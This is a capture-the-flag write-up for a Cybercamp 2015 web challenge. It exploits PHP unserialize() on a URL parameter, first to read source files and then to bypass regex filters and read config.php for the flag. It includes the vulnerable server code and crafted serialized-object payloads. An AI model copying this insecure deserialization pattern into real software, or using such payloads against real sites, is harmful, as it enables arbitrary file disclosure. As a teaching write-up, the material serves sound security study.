[Cybercamp 2015] [Web 12] Write Up

On the index page, we can see a form containing many fields: first name, age, and a picture field containing a list of image files.

Once this form validated, we see a summary of what we entered previously, and our image, base64 encoded, into an <img> tag. So far, nothing weird.
But, by looking the webpage URL, we could find some datas which could be a serialized PHP object.

http://challenge.cybercamp.es:8092/show.php?u="O:4:"User":3{s:3:"age";s:6:"sdvsdv";s:4:"name";s:6:"dsvsdv";s:7:"picture";s:8:"cat5.png";}"

Why did not try to modify this cat5.png by something else than an image, as show.php for example ? 🙂


Bingo! We got the PHP code of the page, base64 encoded in the img  tag!
Once decode we clearly see an included php page.

<?php include('UClass.php'); $obj = unserialize($_GET['u']); echo $obj; ?>

By using the same method as above, we got the UClass.php source code.

<?php include('config.php'); class FileClass { public $filename = 'error.log'; public function __toString() { return file_get_contents($this->filename);
}
}

class User
{
public $age = 0;
public $name = '';
public $picture = 'null';

public function __toString()
{
$picture = $this->picture;
if (preg_match("/\.\./",$picture)) {
$picture = "null";
}
if (preg_match("/config/",$picture)) {
$picture = "null";
}
if (preg_match("/\//",$picture)) {
$picture = "null";
}

if (preg_match("/^\./",$picture)) {
$picture = "null";
}
if (preg_match("/:/",$picture)) {
$picture = "null";
}

return '<center>Your cat "' . $this->name . '" is ' . $this->age . ' years old. 

' .
'<img height="200" width="200" src="data:image/png;base64,' . base64_encode(file_get_contents($picture)) . '"></center> 

';

}
}
?>

 

From here, we can see all the source code  to load our summary webpage, and an config.php file included.
But there is one obvious trap: preg_match() blocking us loading config.php, with our previous technique.
However, the FileClass class will do a file_get_contents without worrying the file that it reads.
Let’s try to create a FileClass object with the variable $filename containing “config.php”,

<?php class FileClass { public $filename = 'error.log'; } $obj = new FileClass(); echo serialize($obj); // O:9:"FileClass":1:{s:8:"filename";s:9:"error.log";} ?>

Once unserialized on the server, the FileClass class is instantiated and then the content of config.php is printed with the __toString(), showing us the flag.

<?php $you_are_cool="8df751c556681f8bd815a582351654fe"; ?>

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